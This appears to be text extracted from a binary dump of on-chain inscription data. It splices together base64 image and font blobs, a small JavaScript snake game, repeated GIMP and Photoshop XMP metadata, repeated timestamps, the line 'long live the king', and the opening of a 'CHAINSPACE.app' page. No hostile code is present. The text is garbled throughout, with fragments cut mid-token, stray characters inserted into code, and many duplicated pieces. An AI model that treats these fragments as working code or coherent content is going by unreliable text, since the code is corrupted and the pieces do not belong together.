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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElemeM
ntById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:M
snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRanMn
domInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-ExM
iv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:7250a98c-c0d2-4ed0-ac57-c0840ac13b52" xmpMM:InstanceID="xmp.iid:64f5d3a3-84ce-4e6d-9607-8c920a405fec" xmpMM:OM
riginalDocumentID="xmp.did:92beac50-1c21-4e16-a679-c6081940020b" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676408021876723" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:53:40+11:00" xmp:ModifyDate="2023:02:15T07:53:40+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:cab50e23-c1ab-4c89-bb6e-6eda18fc54c0" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02M
-15T07:53:41"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                  M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        J                                                       <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="httpM
://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:f658a399-25c4-4f6a-9284-1d4f00e63138" xmpMM:InstanceID="xmp.iid:e0dae9c8-8c0d-4e59-befa-16172bc14dcf" xmpMM:OriginalDocumentID="xmp.did:f87M
fd80d-6597-48a6-a882-c444c0e86d7a" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676408045175848" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:54:03+11:00" xmp:ModifyDate="2023:02:15T07:54:03+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:262b3202-d807-41c3-8bb0-6f82d4bc8495" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:54:05"/> </rdf:Seq> </xM
mpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ,                         <?xpacket end="w"?>h!
text/plain;charset=utf-8
long live the kingh!
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
2023-01-24T18:50:08+00:00g
2023-01-24T18:50:08+00:00
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:metM
a/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:FC607DC7A0FA11ED96AFAF84338A08FA" xmpMM:DocumentID="xmp.did:FC607DC8A0FA11ED96AFAF84338A08FA"> <xmpMM:DerivedFrom stReL
f:instanceID="xmp.iid:FC607DC5A0FA11ED96AFAF84338A08FA" stRef:documentID="xmp.did:FC607DC6A0FA11ED96AFAF84338A08FA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>h!
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
text/plain;charset=utf-8
long live the kingh!
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
text/plain;charset=utf-8
long live the kingh!
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmp.iid:2M
69B7657ACA011EDBE3C8A24B223C920" xmpMM:DocumentID="xmp.did:269B7658ACA011EDBE3C8A24B223C920"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:269B7655ACA011EDBE3C8A24B223C920" stRef:documentID="xmp.did:269B7656ACA011EDBE3C8A24B223C920"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"L
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
text/plain;charset=utf-8
long live the kingh!
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
<svg style="font:160% arial;font-weight:700;fill:white"
    height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
    <circle cy="50%"  cx="50%" r="50%" fill="#ffffff" />
    <text x="29%" y="28%">600</text>
    <text x="29%" y="48%">000</text>
    <text x="29%" y="68%">000</text>
    <text x="29%" y="88%">000</text>
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmp.iid:9M
887E8E7ACA011EDBA85D3C07B3BBC69" xmpMM:DocumentID="xmp.did:9887E8E8ACA011EDBA85D3C07B3BBC69"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9887E8E5ACA011EDBA85D3C07B3BBC69" stRef:documentID="xmp.did:9887E8E6ACA011EDBA85D3C07B3BBC69"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"L
text/plain;charset=utf-8
long live the kingh!
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmp.iid:7M
6B5865FACA011ED8FD2D56114BFF2AF" xmpMM:DocumentID="xmp.did:76B58660ACA011ED8FD2D56114BFF2AF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:76B5865DACA011ED8FD2D56114BFF2AF" stRef:documentID="xmp.did:76B5865EACA011ED8FD2D56114BFF2AF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"L
-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmp.iid:3M
DB7DF0FACA011EDA8F6E99A370BA4CA" xmpMM:DocumentID="xmp.did:3DB7DF10ACA011EDA8F6E99A370BA4CA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3DB7DF0DACA011EDA8F6E99A370BA4CA" stRef:documentID="xmp.did:3DB7DF0EACA011EDA8F6E99A370BA4CA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"L
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
text/plain;charset=utf-8
long live the kingh!
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
 d104e436afacaed81fefacc52d5450d2H0E
Adobe Photoshop 23.4 (Macintosh)
cropWhenPrintingbool
p://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dcM
/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)" xmp:CreateDate="2023-02-14T14:20:51+01:00" xmp:MetadataDate="2023-02-14T14:20:51+01:00" xmp:ModifyDate="2023-02-14T14:20:51+01:00" xmpMM:InstanceID="xmp.iid:8432ea53-0fd1-4d8f-be48-a9203f94e4d7" xmpMM:DocumentID="adobe:docid:photoshop:a920469c-cbdc-9a49-98fe-c3ea4aa82aaf" xmpMM:OriginalDocumentID="xmp.did:cb57a0ba-f054-4fc6-adcb-7cb9dd08e038" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" dc:format="image/jpeg"> <xmpMM:History> <rdM
f:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:cb57a0ba-f054-4fc6-adcb-7cb9dd08e038" stEvt:when="2023-02-14T14:20:51+01:00" stEvt:softwareAgent="Adobe Photoshop 23.4 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:8432ea53-0fd1-4d8f-be48-a9203f94e4d7" stEvt:when="2023-02-14T14:20:51+01:00" stEvt:softwareAgent="Adobe Photoshop 23.4 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:a3a931a8-7173-114M
a-b942-0f9d4a10b6d3</rdf:li> <rdf:li>adobe:docid:photoshop:cf361a66-7bc9-1040-aa08-1f68bd48af0f</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                           M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                              <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"%8(+(+(8U5>55>5UK[JEJ[K
"%8(+(+(8U5>55>5UK[JEJ[K
#$056BCUgqsRar7@Pdb%DE&'FW
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAJY4AAwAAAABYBwAAJXZAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cBmA/UGZFZIO8TACQAgqBynyBnT4LghoAATYCJAOEMAQgBZQvB4oQW3BHcUN0w7TOCb9uMgCga1ObW1XngGzuMLNymwimLXm9MziajbB6ouj6z/7//zMS5IihCbUHPL62blsMYUKlkUZmlNDpaXjV6pqVpwAArLeqootw8/KeDNDKuPtGH63RZN7KPFPoRuUolWpLS8u0KitVFYiqXgarref8hssLDW1Lad9g27ZHnXPM/cOs0nQ0wlrYZq5lraVVmi7vVjaqsnO1TrU9ygjttFah0jm2Slya1m952tITLT2Guu499uN/BBcBMQJeaw67OgVxOyG89jGGw2a0CH85JglM
BJ4fUc+vPS/kNUhkhXuSA64B9d/T/xsRnCLzJIrBxGSNZOXktItuq3jvwDg849NRDD7K8wpHuFDMqKBgJISpmTOnAkBDBkB9RMSSSEQPBDIZ0GEhixpDBfDsIk3suWVFLNAEM/r/1+8cWBKqgckgg4Sb8Ci/a7bSKDEZiPnL3qL/9A83pv4OLGLwkL8kRQ6KQC1qoUIMqUnEmon/dvqjVJlpZ6Tqh4pgVCsETSBDRNvb8O63/X1vaArLL9rKtJApQY/r0MF9i+JqLSO8NADSEOmBgkS1LQ+9U/27ju2Z40hkKA1uO7fI47ZgFhUE8IIx/rb0/SWdoWWg7dsKGhNe81mlZst7ng/8v1d7u/P/4BcoeVd2ApaJKoWUQKolUuaJsa9ONbRBtkq6PZJwfjuMQIIgGGt0YoLl164AFG1sDY7CNjShZwYIaI6IMqqRKG5QwCp8yCgtfzLcSFXx9I/LDfzhVdZ3ZlOaEJyEAPO/vB3ouPPhABSCSTRWCrtOLn11mAf0sHeqM
sZiw7yc5orHvgCqH6Drgnywo8xFkgkv47qX1ArpDa3T1c06uw1e8KePnAgPz0q6SUDIBcSVbvlRhwhqBmScjynzr91/bDTLfrMpcpgCCOTALbAZ5nbsGcC2r4iPGl0jy4kEH//X56m7lNXlI64S0I+Z2tETWCHKDRrXB1CgA+YJc4jCCmUO/TVGSAQxjwRC8C/n9fVdd3P0Dpf9LlU25QJrsjrc6gJJdWhynp770PGO+9T1gfn9TR/6AKCDeQdAFI6RiCdHwISYwJSvYh5dL6lvQPUseBmEbSjaQbpbTet8gptU3ecjyl1mHO5DGlD1O2LcuYaS1NmexhSQGDbrrZTj2W8EUDDIwDpPh//APVe5o06WMsWq35Vqlg48uA574Z72iutDcLR9nkvkjua9zE7RlZ47Kb25sHRFcgOeWUcxUK0EhQta1VFd6UqFo1Oyk2qIlovkd+8owEiRSs5PnuUUiEVliEUQiNtJ9RCGeQOCROQzQ80By6EJ49DHA4+7L1mu4IV9tM
9M8b7DqWaFeFdldIzv307+/UNld8HUyYwjhHgBLRmyBzKzgAhjTmMXY4cYhJQkGTm4d0F1PYjeFsgWG1R1FoLNDA9xLN/11L/A78VskrWumTyD2bn2GXzKgk1syQja+tl/djvx9cZYBClMjHJFAUBvft6fS8E2JxegnYPJ4UIkYStm6Ht/hX+rZjLq3x2hmByq6ifoNljbLbo0hU80cqJ7DdzOiUFIJUNFCjBc/C0luw2EADVoP6Hn/m3pwFfu1lY+42f2MgEIfeNctADuNXepXQ0SRSDijxwt9vriYV6Qo4TagABclw/JnrfzdebhmDJ/hdeZf8hEDq67oB2/aUZcHJfA2AJAgEAaOIj5qYDkILAEQcZADviYAZMeZTvxKRYrynpyXhuFwQh1gC4AJwf0BROU8gCl75W83NQI/sbxKvB1AY6n/WDu3iIV0OMMcmlvBxyrtss4/dQ1mwdWupy+DCaYc31N8NDPB2uo95mc314aK67S/3fU96hZQSyq2rHmOwit1hM
